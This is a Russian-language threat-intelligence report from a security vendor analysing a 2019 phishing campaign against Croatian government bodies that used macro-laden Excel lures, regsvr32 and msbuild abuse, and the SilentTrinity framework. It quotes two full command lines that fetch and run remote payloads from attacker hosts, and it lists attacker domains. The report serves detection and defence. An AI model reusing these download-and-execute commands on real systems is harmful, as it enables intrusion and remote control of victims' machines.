Positive Technologies
PT Expert Security Center

IronPython на стороне зла: как мы раскрыли кибератаку на госслужбы европейской страны

IronPython на стороне зла: как мы раскрыли кибератаку на госслужбы европейской страны

Наши специалисты из экспертного центра безопасности всегда держат «руку на пульсе» и мониторят появление новых интересных и опасных угроз. Именно так в начале апреля 2019 года была обнаружена целевая атака на государственные органы Хорватии. В данном отчете рассмотрена цепочка доставки вредоносного ПО на ПК жертвы, представлены индикаторы компрометации, а также отмечено использование нового пост-эксплуатационного фреймворка, ни разу не применявшегося по нашей информации  злоумышленниками ранее.

Заражение жертвы

2 апреля 2019 года, в ходе регулярного отслеживания различных источников на предмет нового вредоносного ПО, эксперты PT Expert Security Center обнаружили необычный офисный документ.

Рис 1. Название и отображение вредоносного документа
Рис 1. Название и отображение вредоносного документа

«Уведомление об отправке» было создано в офисном приложении «MS Excel» и сохранено в старом формате .xls днём ранее (2019-04-01 16:28:07 (UTC)). Тем не менее, имеющаяся временная метка о печати (2018-07-25 00:12:30 (UTC)) свидетельствует, что документ использовался еще в 2018 году. Мы вернемся к этому косвенному признаку ниже.

Примечательным является то, что поле «Комментарии» (которое можно изменить в том числе и средствами приложения «MS Excel») содержит команду на языке командного интерпретатора Windows:

cmd.exe /c echo Set objShell = CreateObject("Wscript.Shell"): objShell.Run "net use https://postahr.vip", 0, False: Wscript.Sleep 10000: objShell.Run "regsvr32 /u /n /s /i:https://postahr.vip/page/1/update.sct scrobj.dll", 0, False: Set objShell = Nothing  > C:\users\%username%\appdata\local\microsoft\silent.vbs

Рис 2. Поле «Комментарии» с подозрительным содержанием
Рис 2. Поле «Комментарии» с подозрительным содержанием
Рис 3. Содержимое поля «Комментарии» в бинарном виде
Рис 3. Содержимое поля «Комментарии» в бинарном виде

В результате её выполнения в системе создаётся скрипт на языке Visual Basic. В случае запуска сценарий выполнит следующие действия:

  • Подключит сетевой ресурс средствами технологии WebDAV
  • Загрузит и запустит файл следующей стадии заражения с использованием легитимной системной утилиты «regsvr32»

В результате подключения сетевого ресурса по протоколу HTTP(S) на сервер злоумышленника отправляется NTLM-response, с помощью которого может быть восстановлен NTLM-хэш. Затем полученный хэш может быть использован для авторизации на сервисах от имени жертвы. Мы не нашли следов проведения подобных атак, а причины подключения сетевого ресурса остаются неясны.

Техника использования программы «regsvr32» (управление элементами ActiveX) в вредоносных целях не нова, и даже имеет своё собственное название «Squiblydoo». Атакующие применяют её для соблюдения требований контроля запуска доверенных программ, а также обхода антивирусного детектирования.

Сам по себе текст в поле «Комментарии» - безобиден, а его выполнение должно быть чем-то обусловлено. Когда жертва откроет полученный Excel-документ, она увидит сообщение-ловушку на хорватском языке, которое убеждает включить макросы:

Рис 4. Сообщение-приманка после открытия документа
Рис 4. Сообщение-приманка после открытия документа

Если выполнение макросов будет разрешено, пользователь увидит фальшивое уведомление о посылке с логотипом хорватской почты:

Рис 5. Ложное уведомление о посылке
Рис 5. Ложное уведомление о посылке

Тем временем средствами макроса сценарий поля «Комментарии» будет выполнен, а созданный скрипт в системе будет добавлен в автозагрузку:

Рис 6. Ключевой функционал макроса
Рис 6. Ключевой функционал макроса

Любопытно, что создаваемый сценарий не запускается макросом. Возможно, это задумка злоумышленника: следующая стадия заражения произойдет после перезагрузки системы и входа пользователя. Мы вернемся к этой детали ниже.

Другая часть скрипта интересна по-своему: аккуратная структура кода с форматированием, отступами и прочими нюансами разметки может быть признаком использования стороннего кода и даже программы, которая позволит создавать подобные документы автоматически.

Рис 7. Возможно заимствованная часть макроса
Рис 7. Возможно заимствованная часть макроса

Попытки поиска ключевых слов дают множество аналогичных частей кода на различных ресурсах. Мы склоняемся к версии, что хакер просто нашел подходящий для его целей программный код и незначительно подправил для выполнения конкретных действий:

Рис 8. Пример похожего макроса с ресурса issuu.com
Рис 8. Пример похожего макроса с ресурса issuu.com
Рис 9. Пример похожего макроса с ресурса stackoverflow.com
Рис 9. Пример похожего макроса с ресурса stackoverflow.com
Рис 10. Пример похожего макроса с ресурса dummies.com
Рис 10. Пример похожего макроса с ресурса dummies.com

Вернёмся к загрузке следующей стадии заражения средствами утилиты «regsvr32». В результате выполнения команды с сервера злоумышленника будет загружен скриптлет «update.sct» на языке JavaScript. В теле скрипта содержатся бинарные данные, закодированные алгоритмом Base64. После декодирования полученные данные будут десериализованы и выполнены средствами программной платформы «.NET Framework».

Рис 11. Скриптлет «update.sct», загруженный с сервера злоумышленника
Рис 11. Скриптлет «update.sct», загруженный с сервера злоумышленника

Стоит отметить, что и этот код был заимствован атакующим на одном из публично доступных ресурсах:

Рис 12. Пример похожего кода с ресурса rastamouse.me
Рис 12. Пример похожего кода с ресурса rastamouse.me
Рис 13. Пример похожего кода с ресурса github.com
Рис 13. Пример похожего кода с ресурса github.com

Не похоже, что хакер тщательно вникал в логику работы используемых инструментов. Например, в рассмотренном скриптлете вызывается функция «setversion», которая ничего не делает. Один из примеров, доступный в Сети, выглядит также – вот так лишние части кода и попадают в инструменты злодея.

В результате, распакованный и запущенный объект представляет собой исполняемый PE-файл на платформе .NET.

Рис 14. Заголовок исполняемого PE-файла
Рис 14. Заголовок исполняемого PE-файла
Рис 15. Отладочная информация PE-файла SharPick
Рис 15. Отладочная информация PE-файла SharPick

В результате компиляции сохранился путь до проекта с исходными кодами. Суффиксы «-master» позволяют сделать вывод, что проект был предварительно склонирован с репозитория, а каталог «SharPick» вёдет к известному приложению, которое позволяет загружать и выполнять код на языке PowerShell без применения непосредственно интерпретатора языка, а с использованием зависимостей .NET.

Несмотря на доступность проекта утилиты «Sharpick» на ресурсе «Github», следует убедиться, что не были внесены существенные изменения.

Рис 16. Часть декомпилированного кода утилиты «SharPick»
Рис 16. Часть декомпилированного кода утилиты «SharPick»

В результате декомпиляции был получен псевдокод, в ходе выполнения которого декодируется из Base64 и запускается PowerShell скрипт:

Рис 17. Частично преобразованный PowerShell скрипт
Рис 17. Частично преобразованный PowerShell скрипт

После упрощения кода разобрать функционал не составляет особого труда:

  • Формируется объект для взаимодействия с web-сервером с заданными значениями User-Agent, Cookie и настройками прокси
  • Загружается полезная нагрузка по заданному адресу
  • Результат расшифровывается алгоритмом RC4 с использованием заданного ключа и запускается

К сожалению, в момент нашего анализа управляющий сервер уже был недоступен. Данные, которые с него были получены ранее, нам найти не удалось. Однако, и на этот раз имеется достаточно информации в сети (в качестве примера – часть отчёта наших коллег из FireEye), чтобы однозначно установить: конечное звено в данной цепочке заражения – «Empire backdoor», инструмент для удаленного администрирования ПК жертвы в составе пост-эксплуатационного фреймворка «Empire Framework»

Рис 18. Использование аналогичного PowerShell-скрипта в атаках с использованием уязвимости в WinRAR
Рис 18. Использование аналогичного PowerShell-скрипта в атаках с использованием уязвимости в WinRAR

Интересно, что другие паттерны скрипта ведут на обширную статью о техниках проведения тестирования на проникновения с особым вниманием к сокрытию инфраструктуры атакующих за проксирующими серверами. Коллеги из «Payatu Technologies» приводят подробную инструкцию по перенаправлению сессий на легитимные ресурсы, блокировке нежелательных пакетов, логированию и т. д., в том числе с использованием «Empire» – наиболее вероятный источник информации, который использовался злоумышленником.

Спустя несколько часов мы обнаружили еще один документ о посылке. Он имеет множество сходств с предыдущим: также найден в Хорватии (2019-04-02 16:52:56 (UTC)), имеет такое же название и даже изображение-ловушку о полученной посылке. Но все же есть различия.

Вредоносный код снова расположен в поле «Комментарии», но на этот раз логика действий изменена.

cmd.exe /c echo Set objShell = CreateObject("Wscript.Shell"):objShell.Run "C:\windows\system32\cmd.exe /c net use \\176.105.255.59\webdav",0:Wscript.Sleep 60000: objShell.Run "%windir%\Microsoft.Net\Framework\v4.0.30319\msbuild.exe \\176.105.255.59\webdav\msbuild.xml" , 0, False: Set objShell = Nothing  > C:\users\%username%\appdata\local\microsoft\silent.vbs

  • Подключение сетевого ресурса происходит средствами SMB протокола
  • Загрузка и запуск следующей стадии заражения с применением легитимной утилиты пакета .NET Framework «msbuild»

Любопытно, что в адресе монтируемого каталога присутствует строка «webdav», косвенно пересекающая этот случай с предыдущим. В этот раз атака на NTLM-хэш по-прежнему возможна, хотя подтверждений о её применении по-прежнему нет. Причина использования приложения «msbuild» вновь для успешного обхода ограничения запуска сторонних программ. Прежде чем опишем технику злоупотребления, упомянем об отличиях в программном коде макроса нового документа.

Атакующие не вносили существенных изменений в логику действий VBA скрипта. Однако стоит отметить, что на этот раз они не только обеспечивают автоматическую загрузку создаваемого VBS-скрипта в системе, но и запускают его в момент открытия документа. Вероятнее всего, в предыдущем случае злоумышленники просто забыли про это, а спустя некоторое время, обнаружив оплошность, поправили её с выходом следующей версии документа.

Рис 19. Сравнение кода макроса в двух документах
Рис 19. Сравнение кода макроса в двух документах

Следующая стадия заражения представляет собой XML документ, в котором содержится программный код на языке C#. Особенность утилиты «msbuild» позволяет скомпилировать и запустить содержащийся код «налету», о чем свидетельствуют оставленные хакером комментарии в начале разметки.

В коде снова представлен Base64-буфер, который будет раскодирован, разжат алгоритмом «Deflate» и запущен. Полагаем, читатель уже догадывается о том, что и на этот раз злоумышленник воспользовался свободно доступным шаблоном, о чём свидетельствуют упомянутые комментарии и множество источников в Сети с аналогичным кодом.

Рис 20. Задача «msbuild.xml», загруженная с сервера злоумышленника
Рис 20. Задача «msbuild.xml», загруженная с сервера злоумышленника

В итоге, и на этот раз в память будет загружен и выполнен PE-файл на платформе .NET. А отладочная информация содержит не только признак того, что проект был собран на виртуальной машине (возможно, в целях сокрытия информации об атакующем), но и каталог «SILENTTRINITY», на который будет обращено отдельное внимание.

Рис 21. Отладочная информация PE-файла SILENTTRINITY
Рис 21. Отладочная информация PE-файла SILENTTRINITY

Стоит отметить, что по изученным двум документам о посылке нам удалось найти еще два. И формат файла, и название, и картинка-приманка с регионом обнаружения вновь остались неизменными. Документы стали доступны в конце августа 2018 года, что подтверждает гипотезу долгосрочность кампании, о которой мы писали в начале отчёта.

Любопытно, что в прошлом году хакеры не использовали поле «Комментарии», однако не отошли от принципа использования легитимных утилит для выполнения следующих стадий заражения: вредоносный компонент загружался с применением утилиты для работы с сертификатами и выполнения криптографических операций «certutil», а запуск обеспечивался инструментарием управления системой «WMI»:

Рис 22. Сравнение макросов документов 2018 года
Рис 22. Сравнение макросов документов 2018 года

К сожалению, за сроком давности нам не удалось установить дальнейшие звенья цепочки атак 2018 года.

Стоит также отметить, что часть кода VBA-скрипта оставалась неизменной за исключением удаления вспомогательных комментариев, поясняющих логику работы.

Рис 23. Сравнение макросов 2019 и 2018 годов
Рис 23. Сравнение макросов 2019 и 2018 годов

SilentTrinity framework

Поисковая выдача на ключевое слово «SILENTTRINITY» из отладочной информации PE-файла без труда позволяет установить происхождение этого звена атаки. В октябре 2018 года Marcello Salvati (исследователь компании «Black Hills Information Security») разместил одноименный проект на популярном репозитории «GitHub». Основная идея: перенести гибкость и преимущества известного пост-эксплуатационного PowerShell-фреймворка на скриптовый язык программирования Python, а именно – IronPython. Проект развивается по сей день.

Мы не будем углубляться в детали работы и реализации проекта, тем более что автор подробно представлял его функционал. Осветим лишь основную логику работы и интересные моменты в реализации.

После запуска PE-файла (впрочем, промежуточное звено может быть в другом формате) происходит следующая последовательность действий:

  • Обращение к управляющему серверу для загрузки ZIP-архива с необходимыми зависимостями и главным скриптом на Python
  • Содержимое архива извлекается без сохранения на диск
  • Регистрируются зависимости для успешной обработки Python-скриптов
  • Запускается основной Python-скрипт, ожидающий задачи от злоумышленника
  • Каждая задача передается в виде готового Python-скрипта
  • Задача выполняется на стороне жертвы в отдельном потоке
  • Результат работы передается обратно на управляющий сервер
Рис 24. Схема работы фреймворка SilentTrinity
Рис 24. Схема работы фреймворка SilentTrinity

Из наиболее интересных особенностей стоит выделить следующее:

  • Поддержка IronPython, в том числе языка Boo – подмножество IronPython со строгой типизацией данных
  • Вся активность не требует дискового пространства – зависимости, скрипты, задачи располагаются в памяти, что также именуется как «fileless» атака
  • Архив с зависимостями, задачи, результат работы команд – всё общение между жертвой и хакером шифруется алгоритмом AES
  • Общий ключ формируется протоколом Диффи – Хеллмана
  • Сетевой транспорт обеспечивается на уровне HTTP(S) протокола с поддержкой проксирования
Рис 25. Пример пользовательского интерфейса серверной части фреймворка SilentTrinity
Рис 25. Пример пользовательского интерфейса серверной части фреймворка SilentTrinity

Интересно, что в день проведения атак PE-загрузчик был загружен на сервис «VirusTotal», где ни один антивирусный вендор не определял его как вредоносный. В этом нет ничего удивительного: во-первых, бинарный файл не попадает на диск, и сигнатурный детект большого смысла не имеет; во-вторых, статическое детектирование далеко не единственная технология защиты пользователей.

Рис 26. Результат сканирования загрузчика SilentTrinity в день атак
Рис 26. Результат сканирования загрузчика SilentTrinity в день атак

Любопытно другое: спустя несколько дней после атаки вердикты детектирования всё же начали появляться. Важно, что в период атак либо защитные средства еще не были оснащены алгоритмами определения, либо об угрозе не было известно в принципе.

Рис 27. Актуальный результат сканирования загрузчика SilentTrinity
Рис 27. Актуальный результат сканирования загрузчика SilentTrinity

Вероятнее всего, это и послужило причиной выбора именно этого решения для проведения атак со стороны злоумышленников. У нас нет сведений, что фреймворк SilentTrinity уже применялся в вредоносных атаках ранее. Данная кампания – первый случай который мы зафиксировали употребления SilentTrinity злоумышленниками.

Инфраструктура атакующих

Стоит упомянуть, что сетевая инфраструктура, используемая хакерами, хронологически связывается с проводимыми атаками.

Таблица 1. Информация об используемых доменах в качестве серверов атакующих
Домен Дата регистрации Мимикрирование Отрасль
konzum.win 2018-05-25 konzum.hr Ритейл
postahr.online 2018-08-22 posta.hr Почтовые сервисы
posteitaliane.live 2019-01-16 posteitaliane.it Почтовые сервисы
postahr.vip 2019-02-06 posta.hr Почтовые сервисы

Домены создавались таким образом, чтобы быть похожими на легитимные атакуемые ресурсы. Это позволяет получить доверие пользователей в ходе проведения фишинговых атак. Отметим, что затрагиваемые ресурсы относятся не только к Хорватии, что свидетельствует о бОльшем масштабе проводимой операции.

Все домены зарегистрированы с применением технологии защиты от «WhoisGuard, Inc.». Компания позволяет скрыть настоящие сведения о регистранте домена «в целях защиты от спама».

В свою очередь сами сервера, раздающие и управляющие вредоносным ПО, были арендованы у нидерландского провайдера «Breezle LLC».

Все имеющиеся сведения о хостах, адресах, доменах злоумышленников с множеством связей между собой позволяют судить о бОльших объемах вредоносного ПО, которое было у атакующих. Мы не исключаем, что в кампании могли быть использованы другие инструменты, аналогичные рассмотренным, а случаи заражения остались нераскрытыми.

Рис 28. Графическое представление инфраструктуры злоумышленников
Рис 28. Графическое представление инфраструктуры злоумышленников

Заключение

Через день после обнаружения документов в новостях вышел пресс-релиз с ссылкой на Департамент безопасности информационных систем Хорватии о проводимых целевых фишинговых атаках. Следы были обнаружены в нескольких государственных органах страны. Сообщается, что жертвам рассылались электронные письма с ссылкой на фишинговый сайт, с которого предлагается загрузить вредоносный документ, с которых начинался наш анализ. Это заполняет недостающие звенья в цепочке атак, а в завершении мы бы хотели обратить внимание на методы защит, которые позволяют снизить урон от таких атак:

  • Мониторинг и контроль использования некоторых доверенных программ (certutil, regsvr32, msbuild, net, wmic …)
  • Проверка и анализ не только вложений в электронных письмах, но и web-ссылок
  • Периодические сканирования памяти ПК в корпоративной сети

Автор: Алексей Вишняков, Positive Technologies

P.S. Данный материал написан по следам доклада на Positive Hack Days 9. Видео этого и других выступлений доступны по ссылке: https://www.phdays.com/ru/broadcast/